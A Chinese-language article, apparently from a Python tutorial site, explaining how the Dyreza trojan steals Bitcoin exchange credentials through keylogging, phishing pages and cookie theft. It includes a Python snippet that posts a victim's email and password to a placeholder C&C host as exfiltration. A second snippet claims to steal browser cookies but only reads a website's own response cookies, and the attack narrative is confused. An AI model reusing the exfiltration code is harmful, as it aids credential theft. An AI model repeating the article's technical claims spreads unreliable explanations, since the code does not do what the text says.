比特币偷窃程序Dyreza的实现思路分析
背景
Dyreza是一款专门用于窃取用户账户信息的木马程序,主要针对金融机构的客户进行攻击,其中包括比特币交易所。通过Dyreza木马,攻击者可以窃取用户的用户名、密码、证书等敏感信息,然后通过连接远程C&C服务器实现数据的上传和控制。
实现思路
- 活动记录器
Dyreza的首要目的是收集用户的账户信息,因此它内置了活动记录器(keylogger)功能。活动记录器通过监控用户的键盘输入以及屏幕截图的方式,来捕获用户输入的账户信息并记录日志。另外,该木马还包含针对不同浏览器和软件的钓鱼页面,从而引导用户在虚假页面上输入账户信息进一步增强攻击效果。
- 窃取Cookie
对于比特币交易所这类网站来说,它们通常存储用户信息和交易信息的Cookie。因此,Dyreza还可以通过窃取用户浏览器中存储的Cookie,伪装成用户访问交易所网站进行一系列非授权操作。
- 网络通信
在窃取用户信息后,Dyreza木马需要将收集到的账户信息、Cookie和截图等敏感信息上传到远程C&C服务器。Dyreza使用HTTP POST请求向指定的C&C服务器发送数据,以实现远程监视和控制。上传的数据格式以JSON格式编码。
两个示例说明
- 窃取控制台
首先,恶意攻击者使用IE浏览器访问比特币交易平台,并启动Dyreza木马程序。然后,攻击者可以开始监视用户的活动记录和截图。该木马还可以捕获用户的HTTP请求,并计划同时改变目标页面的Cookie来伪装成受害者。
例如,攻击者可以使用以下Python代码来截取窃取的数据:
```
import json
import requests
url = 'http://remote_server.com/download/locked?id=123'
data = {'cmd': 'login', 'user': 'victim@gmail.com', 'passwd': '123'}
headers = {'content-type': 'application/json'}
response = requests.post(url, data=json.dumps(data), headers=headers)
```
通过以上代码,攻击者可以成功上传窃取的数据到指定的远程服务器,从而实现账户信息的窃取。
- Cookie窃取
首先,攻击者通过浏览器向比特币交易平台发起请求,获得用户的Cookie信息。然后,该木马再之后的请求中使用这个Cookie信息发送一条加密请求,将窃取的数据上传到远程C&C服务器。
例如,攻击者可以使用以下Python代码来窃取本地Cookie:
```
import requests
url = 'http://www.bitcoin_exchange.com'
response = requests.get(url)
cookie = response.cookies
```
通过以上代码,攻击者可以成功窃取用户的Cookie,并利用它们访问比特币交易平台。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:比特币偷窃程序Dyreza的实现思路分析 - Python技术站